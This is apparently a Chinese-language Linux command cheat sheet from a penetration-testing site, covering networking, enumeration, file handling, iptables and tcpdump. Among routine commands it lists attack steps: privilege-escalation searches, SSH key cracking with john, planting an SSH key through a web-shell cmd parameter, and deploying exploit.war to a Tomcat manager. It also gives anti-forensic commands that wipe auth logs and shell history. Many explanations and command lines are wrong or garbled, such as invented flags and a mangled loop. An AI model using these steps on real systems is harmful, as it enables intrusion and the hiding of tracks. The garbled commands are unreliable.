Linux命令

网络命令

命令解释
watch ss -tp使用watch命令定期执行ss -tp命令,以监视系统中的套接字连接状态
netstat -ant使用netstat命令显示网络状态信息,包括所有(-a)的TCP(-t)和UDP(-u)协议的套接字连接,以及数字(-n)形式的地址和端口
netstat -tulpn使用netstat命令显示网络状态信息,包括TCP(-t)和UDP(-u)协议的监听(-l)套接字连接,以及数字(-n)形式的地址和端口,以及对应的程序名(-p)
lsof -i列出打开的文件信息,其中-i选项表示只列出与网络相关的文件,包括套接字、端口、协议等
smb:// ip /share使用smb协议访问远程主机上的共享资源,其中ip是远程主机的IP地址,share是共享资源的名称
share user x.x.x.x c$使用share命令在本地主机上创建一个共享资源,其中user是共享资源的名称,x.x.x.x是本地主机的IP地址,c$是共享资源的路径
smbclient -0 user\ ip \ share使用smbclient命令连接到远程主机上的共享资源,并进入交互模式。其中-o选项表示不进行密码验证,user是远程主机上的用户名,ip是远程主机的IP地址,share是共享资源的名称
ifconfig eth# ip I cidr使用ifconfig命令配置网络接口的IP地址和子网掩码。其中eth#是网络接口的名称,如eth0、eth1等;ip是要设置的IP地址;cidr是要设置的子网掩码长度
ifconfig eth0:1 ip I cidr使用ifconfig命令配置网络接口的别名和IP地址和子网掩码。其中eth0:1是网络接口eth0的别名,可以用来设置多个IP地址;ip是要设置的IP地址;cidr是要设置的子网掩码长度
route add default gw gw lp使用route命令添加默认路由,即当目的地址不在本地网络时,发送到的网关地址。其中gw是网关地址,lp是本地网络接口
ifconfig eth# mtu [size]使用ifconfig命令配置网络接口的最大传输单元(MTU),即每个数据包能够传输的最大字节数。其中eth#是网络接口的名称,如eth0、eth1等;size是要设置的MTU大小,单位为字节
export MAC=XX:XX:XX:XX:XX:XX使用export命令设置一个环境变量,其中MAC是变量名,XX:XX:XX:XX:XX:XX是变量值,表示一个MAC地址
ifconfig int hw ether MAC使用ifconfig命令配置网络接口的MAC地址。其中int是网络接口的名称,如eth0、wlan0等;hw ether表示硬件类型为以太网;MAC是要设置的MAC地址
macchanger -m MAC int使用macchanger工具修改网络接口的MAC地址。其中-m选项表示指定一个新的MAC地址;MAC是要设置的MAC地址;int是网络接口的名称,如eth0、wlan0等
iwlist int scan使用iwlist工具扫描无线网络,并显示相关信息。其中int是无线网络接口的名称,如wlan0、wlan1等;scan是扫描选项
nc -lvvp port使用nc工具在本地主机上创建一个监听端口,并等待远程主机连接。其中-l选项表示监听模式;v选项表示详细模式;p选项表示指定端口号;port是要监听的端口号
python3 -m http.server port使用python3内置的http.server模块在本地主机上创建一个简单的HTTP服务器,并监听指定端口。其中-m选项表示运行模块作为脚本;http.server是模块名;port是要监听的端口
dig -x ip反向DNS查询,即根据IP地址查询对应的域名
host ip用host工具进行正向或反向DNS查询,即根据域名查询对应的IP地址,或根据IP地址查询对应的域名
host -t SRV _ service red.ghostwolflab.com使用host工具进行SRV记录查询,即根据服务名和域名查询对应的主机名和端口号。SRV记录是一种DNS记录,用于指定提供特定服务的服务器和端口。
dig @ ip domain -t AXFR使用dig工具进行AXFR记录查询,即从指定的DNS服务器(ip)请求指定的域名(domain)的完整区域传输。AXFR记录是一种DNS记录,用于在主从DNS服务器之间同步区域数据。
host -l domain nameserver使用host工具进行区域列表查询,即从指定的DNS服务器(nameserver)请求指定的域名(domain)的所有记录
ip xfrm state list使用ip工具查看IPSec安全策略数据库(SPD)中的状态条目,即用于加密和解密IP数据包的密钥和参数。IPSec是一种网络层的安全协议,用于保护IP通信的机密性和完整性。
ip addr add ip I cidr aev eth2使用ip工具为网络接口添加一个IP地址和子网掩码,并激活该地址。其中ip是要添加的IP地址;cidr是要添加的子网掩码长度;aev表示自动激活(auto)、激活(enable)和显示(verbose);eth2是网络接口的名称。
/var/log/messages I grep DHCP使用grep工具从/var/log/messages文件中搜索包含DHCP关键字的行,并显示出来。/var/log/messages文件是一个系统日志文件,用于记录系统中发生的各种事件和消息。
tcpkill host ip and port PORT使用tcpkill工具终止指定的TCP连接,即发送RST包给连接的双方,使它们认为连接已经断开。其中host ip and port port是一个过滤表达式,用于指定要终止的TCP连接的条件,如源或目的IP地址、端口号等。
echo “1” /proc/sys/net/ipv4/ip _forward使用echo工具向/proc/sys/net/ipv4/ip_forward文件写入一个值,即开启或关闭IP转发功能。/proc/sys/net/ipv4/ip_forward文件是一个虚拟文件,用于控制系统是否允许将收到的数据包转发给其他网络接口。如果文件中的值为1,表示开启IP转发;如果文件中的值为0,表示关闭IP转发。
echo ‘‘nameserver 8.8.8.8’’ /etc/resolv.conf使用echo工具向/etc/resolv.conf文件写入一行内容,即指定一个DNS服务器的地址。/etc/resolv.conf文件是一个配置文件,用于存储系统解析域名时要使用的DNS服务器的地址。每行以nameserver开头,后面跟一个IP地址
showmount -e ip使用showmount工具显示指定的NFS服务器(ip)上可供挂载的共享目录。NFS(Network File System)是一种分布式文件系统协议,用于在不同的主机之间共享文件和目录。-e选项表示显示导出列表(export list),即服务器上允许客户端挂载的目录
mkdir /site_backup; mount -t nfs ip:/ /backup_file使用mkdir和mount两个工具创建一个本地目录,并将远程主机上的一个共享目录挂载到该本地目录。其中mkdir是创建目录的工具;mount是挂载文件系统的工具;-t nfs表示指定文件系统类型为nfs;ip是远程主机的IP地址;/backup_file是远程主机上的共享目录;/site_backup是本地主机上要创建和挂载的目录。

系统信息

命令解释
nbstate -A -ip显示本地和远程主机的NetBIOS名称和会话
id显示当前用户的用户ID(UID)、组ID(GID)和所属的组
w显示当前系统中登录的用户和他们正在执行的进程
who -a显示当前系统中登录的用户和他们的相关信息,如登录时间、终端设备、进程号等
last -a显示系统中最近登录和注销的用户列表,并显示他们的相关信息,如登录时间、持续时间、终端设备等
ps -ef显示系统中所有进程的详细信息,如进程号、父进程号、用户、状态、启动时间、CPU占用率、内存占用率等
df -h显示系统中所有文件系统的磁盘空间使用情况,如总大小、已用大小、可用大小、已用百分比、挂载点等
uname -a显示系统内核相关信息,如内核名称、版本号、架构类型、主机名等
mount显示当前已经挂载的文件系统列表
getent passwd从passwd数据库中获取条目,并以冒号分隔的格式输出每个条目的字段
PATH=$PATH:/home/mypath将/home/mypath目录添加到PATH环境变量的末尾,以便在执行命令时能够搜索该目录中的可执行文件
kill pid向指定的进程发送一个信号,通常用于终止进程
cat /etc/issue显示/etc/issue文件的内容。/etc/issue文件是一个文本文件,用于存储系统的发行版信息,如名称、版本号、内核版本等
cat /etc/release显示/etc/release文件的内容。/etc/release文件是一个文本文件,用于存储系统的发行版信息,如名称、版本号、内核版本等
cat /proc/version显示/proc/version文件的内容。/proc/version文件是一个虚拟文件,用于存储系统内核相关信息,如内核名称、版本号、编译时间、编译器版本等
rpm –query -all查询系统中已经安装的RPM软件包,并显示它们的名称、版本号、发布号等信息
rpm -ivh *.rpm安装一个RPM格式的软件包,并显示安装过程中的详细信息
dpkg -get-selections查询系统中已经安装或卸载的DEB软件包,并显示它们的名称和状态
dpkg -I *.deb查看一个DEB格式的软件包的元数据信息,如软件包名、版本号、描述、依赖关系等
pkginfo查询系统中已经安装或未安装的PKG软件包,并显示它们的名称、版本号、状态等信息
which tscsh csh ksh bash查找指定的可执行文件在系统路径中的位置,并显示出来
chmod -so 700 tcsh csh ksh修改指定文件或目录的权限,并设置特殊权限位。其中tcsh/csh/ksh是要修改权限的文件或目录的名称,它们也是不同类型的shell程序
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;从根目录开始搜索所有具有setuid位且为普通文件的文件,并以长格式列出它们的属性信息
find / -uid 0 -perm -4000 -type f 2>/dev/null从根目录开始搜索所有属于root用户且具有setuid位且为普通文件的文件,并显示出来
find / -writable ! -user whoami -type f ! -path “/proc/” ! -path “/sys/” -exec ls -al {} \; 2>/dev/null从根目录开始搜索所有可写且不属于当前用户且为普通文件且不在/proc或/sys目录下的文件,并以长格式列出它们的属性信息

功能命令

命令解释
python -c "import pty;pty.spawn('/bin/bash')"使用python工具执行一段代码,该代码导入pty模块并调用spawn函数,以创建一个伪终端并运行/bin/bash程序
wget http://example.com/file.txt -O file.txt -o /dev/null从指定的URL下载文件,并将下载的文件保存为url.txt,同时将输出信息重定向到空设备
rdesktop 192.168.1.100远程连接到指定的IP地址上运行的Windows系统,并显示其桌面界面
scp /tmp/foo user@192.168.1.100:/tmp/bar/baz将本地主机上的一个文件复制到远程主机上的一个目录中
scp user@192.168.1.100:/tmp/foo /tmp/bar/baz将远程主机上的一个文件复制到本地主机上的一个目录中
useradd -m user创建一个新用户,并为该用户创建一个同名的主目录
passwd user具修改指定用户的密码,并提示输入新密码和确认新密码
script -a log.txt记录终端会话中的所有输入和输出,并将其保存到一个文件中
apropos subject使用apropos工具搜索与指定主题相关的手册页,并显示出来
history显示历史命令列表,并显示每个命令的编号和内容
! num执行历史命令列表中指定编号的命令
ssh2john.py id_rsa > ssh-key使用ssh2john.py工具将一个SSH私钥文件转换为john可识别的格式,并将其保存到一个文件中
john ssh-key使用john工具破解一个SSH私钥文件的密码,并显示出来
ssh -i id_rsa user@192.168.1.100以指定用户和指定私钥文件登录到远程主机,并进入交互式shell模式
id -u显示当前用户的用户ID(UID)
cut -d: -f3 < <(getent group staff)从group数据库中获取staff组对应的条目,并提取第三个字段,即组ID
curl -G 'http://example.com/file.php' –data-urlencode 'cmd=echo ssh-rsa AA………..'向http://example.com/file.php发送一个GET请求,并对请求参数cmd=echo ssh-rsa AA…………进行URL编码
curl –user ‘tomcat:$3cureP4s5w0rd123!’ –upload-file exploit.war "http://megahosting.com:8080/manager/text/deploy?path=/exploit.war"向http://megahosting.com:8080/manager/text/deploy?path=/exploit.war发送一个文件exploit.war,并使用用户名tomcat和密码$3cureP4s5w0rd123!进行身份验证

文件命令

命令解释
diff file1.txt file2.txt 比较两个文件的内容,并显示它们之间的差异
rm -rf dir删除一个目录及其所有子目录和文件,不询问任何确认
shred -f -u secret.txt 用随机数据覆盖文件,然后删除文件,使其无法恢复
touch -r file1.txt file2.txt将文件的时间戳设置为与参考文件相同
touch -t 202309180000 file.txt 将文件的时间戳设置为指定的日期和时间
sudo fdisk -l以超级用户权限列出所有磁盘分区的信息
mount /dev/sdb1 /mnt/usbkey将设备/dev/sdb1挂载到/mnt/usbkey目录下
md5sum -t file.txt计算文件的MD5校验和,并显示在终端上
echo -n "Hello, world!" | md5sum计算字符串"Hello, world!"的MD5校验和
shalsum file.txt计算文件的SHA1校验和,并显示在终端上
sort -u file.txt对输入进行排序,并去除重复的行
grep -c "is" file.txt在文件中查找包含字符串"is"的行数,并显示在终端上
grep -Hnri test * | vim -当前目录下的所有文件中查找包含单词"test"的行,并将结果在vim编辑器中打开
grep -rial test在当前目录下的所有文件中递归地查找包含单词"test"的行,并显示匹配的文件名
tar cf file.tar file1.txt file2.txt file3.txt将多个文件打包成一个名为file.tar的tar文件
tar xf file.tar将一个tar文件解压缩到当前目录下
tar czf file.tar.gz file1.txt file2.txt file3.txt将多个文件打包并压缩成一个名为file.tar.gz的gzip文件
tar xzf file.tar.gz将一个gzip文件解压缩到当前目录下
tar cjf file.tar.bz2 file1.txt file2.txt file3.txt将多个文件打包并压缩成一个名为file.tar.bz2的bzip2文件
tar xjf file.tar.bz2将一个bzip2文件解压缩到当前目录下
gzip file.txt将一个文件压缩成一个名为file.txt.gz的gzip文件,并删除原始文件
upx -9 -o out.exe orig.exe将一个可执行文件orig.exe用UPX工具压缩成一个名为out.exe的可执行文件,使用最高压缩比率[-9]
zip -r zipname.zip dir/将一个目录及其所有子目录和文件压缩成一个名为zipname.zip的zip文件,使用递归模式[-r]
dd skip=1000 count=2000 bs=5 if=file of=file2从输入文件file中跳过1000个块,读取2000个块,每个块大小为5字节,然后写入输出文件file2
split -b 9K file prefix将一个大文件file分割成多个小文件,每个小文件大小为9K字节,以prefix作为前缀命名
awk 'sub("$"."\r")' win.txt unix.txt将一个Windows格式的文本文件win.txt转换成一个Unix格式的文本文件unix.txt,去除每行末尾的回车符"\r"
find -i -name file -type '.pdf在当前目录下递归地查找所有名为file的PDF文件,并忽略大小写[-i]
find I -perm -4000 -o -perm -2000 -exec ls -ldb {} \;在当前目录下递归地查找所有具有SUID或SGID权限的文件,并用ls命令列出它们的详细信息
dos2unix win.txt将一个Windows格式的文本文件file转换成一个Unix格式的文本文件,去除每行末尾的回车符"\r"
file file判断一个文件的类型,如文本文件,二进制文件,压缩文件等
chattr +i file.txt为一个文件设置或取消不可修改属性[+/-i],使其无法被删除或修改
while [ $? -eq 0 ]; do cd flag/; done?−eq0];docdflag/;done:一个无限循环,如果上一个命令执行成功[? -eq 0],则进入flag目录,否则退出循环

杂项命令

命令解释
unset HISTFILE删除HISTFILE环境变量,使得当前终端的命令历史不会被保存到任何文件中
ssh alice@192.168.1.200 arecord -l aplay -通过ssh远程登录到ip地址的主机,以user为用户名,并在远程主机上执行arecord -l aplay -命令,该命令会录制远程主机的音频输入,并将其播放到本地主机的音频输出
init 6重启系统,相当于执行reboot命令
cat /etc/syslog.conf | grep -v "#" 显示/etc/syslog.conf文件的内容,并过滤掉以#开头的注释行
grep 'href=' file1 | cut -d"/" -f3 | grep url | sort -u在file1文件中查找包含href=的行,并用/作为分隔符,提取第三个字段,然后再查找包含url的行,并去除重复的行,最后按字典序排序
dd if=/dev/urandom of=random.dat bs=3145728 count=100从/dev/urandom设备中读取随机数据,并写入到file文件中,每次读写的块大小为3145728字节,共读写100次,即生成一个大小约为300MB的随机文件random.dat
echo "" > /var/log/auth.log空/var/log/auth.log文件的内容,该文件记录了系统的认证日志
echo "" > /.bash_history 清空/.bash_history文件的内容,该文件记录了当前用户的命令历史
rm -/.bash_history -rf删除/.bash_history文件及其所有子目录和文件,不询问任何确认
history -c清空当前终端的命令历史缓存
export HISTFILESIZE=0设置HISTFILESIZE环境变量为0,使得命令历史不会被保存到任何文件中
export HISTSIZE=0设置HISTSIZE环境变量为0,使得当前终端的命令历史缓存为空
kill -9发送SIGKILL信号给当前进程,强制终止当前终端
ln /dev/null /.bash_history -sf创建一个指向/dev/null设备的符号链接/.bash_history,覆盖原来的/.bash_history文件,使得命令历史不会被记录到任何地方

IPtables命令

iptables是一种用于Linux系统的软件防火墙,它可以对网络数据包进行过滤,转发,修改等操作。

命令解释
iptables-save -c iptables.rules将当前iptables的规则和计数器保存到iptables.rules文件中
iptables-restore iptables.rules从iptables.rules文件中恢复iptables的规则和计数器
iptables -L -v --line-numbers列出当前iptables的规则
iptables -F清空当前iptables的所有规则
iptables -P INPUT/FORWARD/OUTPUT
ACCEPT/REJECT/DROP
设置默认策略为接受/拒绝/丢弃数据包,-P选项表示设置默认策略,INPUT/FORWARD/OUTPUT表示输入/转发/输出链,ACCEPT/REJECT/DROP表示接受/拒绝/丢弃数据包
iptables -A INPUT -i eth0 -m state --state RELATED,ESTABLISHED -j ACCEPT允许来自eth0接口的已建立或相关联的数据包通过
iptables -D INPUT 7删除输入链中第7条规则
iptables -t raw -L -n列出raw表中的所有规则
iptables -P INPUT DROP设置输入链的默认策略为丢弃数据包

允许从本地主机的端口22发出的TCP数据包通过

iptables -A OUTPUT -p tcp --sport 22 -j ACCEPT

如果只允许ssh和端口22出站到192.168.1.100这个IP地址,并且只从eth0这个接口发出:

iptables -A OUTPUT -p tcp --sport 22 -d 192.168.1.100 -o eth0 -j ACCEPT

端口转发

# 当有TCP数据包到达本机的80端口时,将其转发到192.168.1.100这个IP地址的8080端口
echo "1" /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.1.100:8080
#只允许来自10.0.0.1这个IP地址,并且只从eth0这个接口进入的TCP数据包到达本机的80端口时,将其转发到192.168.1.100这个IP地址的8080端口
echo "1" /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p tcp -s 10.0.0.1 -i eth0 --dport 80 -j DNAT --to-destination 192.168.1.100:8080

Chkconfig

Chkconfig用来管理系统服务,它们可以在不同的运行级别中启动或停止服务,或者查看服务的状态。

  • chkconfig –list:列出所有可用的服务及其在各个运行级别中的启动状态
chkconfig –list

NetworkManager  0:off   1:off   2:on    3:on    4:on    5:on    6:off
abrt-ccpp       0:off   1:off   2:off   3:on    4:off   5:on    6:off
abrt-oops       0:off   1:off   2:off   3:on    4:off   5:on    6:off
acpid           0:off   1:off   2:on    3:on    4:on    5:on    6:off
...
  • chkconfig NetworkManager -list:列出指定服务在各个运行级别中的启动状态
chkconfig NetworkManager -list

NetworkManager  	0:off	1:off	2:on	3:on	4:on	5:on	6:off
  • chkconfig NetworkManager on –level 35:启用指定服务在指定运行级别中自动启动3。如果不指定运行级别,那么默认为2,3,4,5这四个级别
  • chkconfig NetworkManager off [–level levels]:禁用指定服务在指定运行级别中自动启动。如果不指定运行级别,那么默认为2,3,4,5这四个级别。如果要禁用NetworkManager服务在所有运行级别中自动启动,那么执行chkconfig NetworkManager off命令即可

TCP转储

  • tcpdump -i eth0 -XX -w out.pcap:在eth0接口上抓取所有的数据包,并以十六进制和ASCII码的形式显示,并将抓取的数据包保存到out.pcap文件中
tcpdump -i eth0 -XX -w out.pcap

tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
00:00:00.000000 IP 192.168.1.100.22 > 192.168.1.200.1234: Flags [P.], seq 1:40, ack 1, win 229, options [nop,nop,TS val 123456789 ecr 987654321], length 39
	0x0000:  4500 004f 0000 4000 4006 b2b2 c0a8 0164  E..O..@.@......d
	0x0010:  c0a8 01c8 0016 04d2 aabb ccdd eeff aabb  ................
	0x0020:  8018 00e5 fe43 0000 0101 080a 075b cd15  .....C.......[..
	0x0030:  3ade b839 ffff ffff ffff ffff ffff ffff  :..9............
	0x0040:  ffff ffff ffff ffff ffff ffff            ............

	4500   IP Version=4, Header Length=20 bytes
	004f   Total Length=79 bytes
	0000   Identification=0
	4000   Flags=2 (Don't Fragment), Fragment Offset=0
	4006   Time To Live=64, Protocol=TCP (6)
	b2b2   Header Checksum=0xb2b2
	c0a8   Source Address=192.168.1.100
	0164   
	c0a8   Destination Address=192.168.1.200
	01c8   
	0016   Source Port=22 (SSH)
	04d2   Destination Port=1234
	aabb   Sequence Number=0xaabbccdd
	ccdd   
	eeff   Acknowledgment Number=0xeeffaabb
	aabb   
	8018   Data Offset=32 bytes, Flags=PUSH+ACK (24)
	00e5   Window Size=229
	fe43   Checksum=0xfe43
	0000   Urgent Pointer=0
	0101       No-Operation Option (NOP)
	080a       Timestamp Option (TSOPT), Length=10 bytes
  ...
  • tcpdump -i eth0 port 80 dst 2.2.2.2:在eth0接口上抓取目的端口为80,目的地址为2.2.2.2的数据包,并以可读的形式显示
tcpdump -i eth0 port 80 dst 2.2.2.2

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
00:00:00.000000 IP 192.168.1.100.1234 > 2.2.2.2.http: Flags [S], seq 123456789, win 29200, options [mss 1460,sackOK,TS val 123456789 ecr 0,nop,wscale 7], length 0
00:00:00.000000 IP 2.2.2.2.http > 192.168.1.100.1234: Flags [S.], seq 987654321, ack 123456790, win 28960, options [mss 1460,sackOK,TS val 987654321 ecr 123456789,nop,wscale 7], length 0
00:00:00.000000 IP 192.168.1.100.1234 > 2.2.2.2.http: Flags [.], ack 1, win 229, options [nop,nop,TS val 123456790 ecr 987654321], length 0
00:00:00.000000 IP 192.168.1.100.1234 > 2.2.2.2.http: Flags [P.], seq 1:40, ack 1, win 229, options [nop,nop,TS val 123456791 ecr 987654321], length 39: HTTP: GET / HTTP/1.1
00:00:00.000000 IP 2.2.2.2.http > 192.168.1.100.1234: Flags [.], ack 40, win 227, options [nop,nop,TS val 987654322 ecr 123456791], length 0
...
  • tcpdump -i eth0 -tttt dst 192.168.1.22 and not net 192.168.1.0/24:在eth0接口上抓取目的地址为192.168.1.22,但不属于192.168.1.0/24网络的数据包,并以可读的形式显示,同时显示完整的日期和时间
tcpdump -i eth0 -tttt dst 192.168.1.22 and not net 192.168.1.0/24

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
2023-09-18 Mon Sep18-00:15:19 IP6 fe80::aabb:ccdd:eef:f11 > fe80::aabb:ccdd:eef:f22 ICMP6, neighbor solicitation, who has fe80::aabb:ccdd:eef:f22, length32
2023-09-18 Mon Sep18-00:15:19 IP6 fe80::aabb:ccdd:eef:f22 > fe80::aabb:ccdd:eef:f11 ICMP6, neighbor advertisement, tgt is fe80::aabb:ccdd:eef:f22,length32
2023-09-18 Mon Sep18-00:15:19 IP6 fe80::aabb:ccdd:eef:f11 > ff02::16 ICMP6,multicast listener report v2, length28
2023-09-18 Mon Sep18-00:15:19 IP6 fe80::aabb:ccdd:eef:f11 > ff02::16 ICMP6,multicast listener report v2, length28
2023-09-18 Mon Sep18-00:15:19 IP6 fe80::aabb:ccdd:eef:f11 > ff02::16 ICMP6,multicast listener report v2, length28
...
  • tcpdump -i eth0 ‘icmp[icmptype] == icmp-echoreply’:在eth0接口上抓取ICMP协议中类型为回显应答(echo reply)的数据包,并以可读的形式显示
tcpdump -i eth0 'icmp[icmptype] == icmp-echoreply'

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
00:00:00.000000 IP 192.168.1.100 > 192.168.1.200: ICMP echo reply, id 1234, seq 1, length 64
00:00:01.000000 IP 192.168.1.100 > 192.168.1.200: ICMP echo reply, id 1234, seq 2, length 64
00:00:02.000000 IP 192.168.1.100 > 192.168.1.200: ICMP echo reply, id 1234, seq 3, length 64
...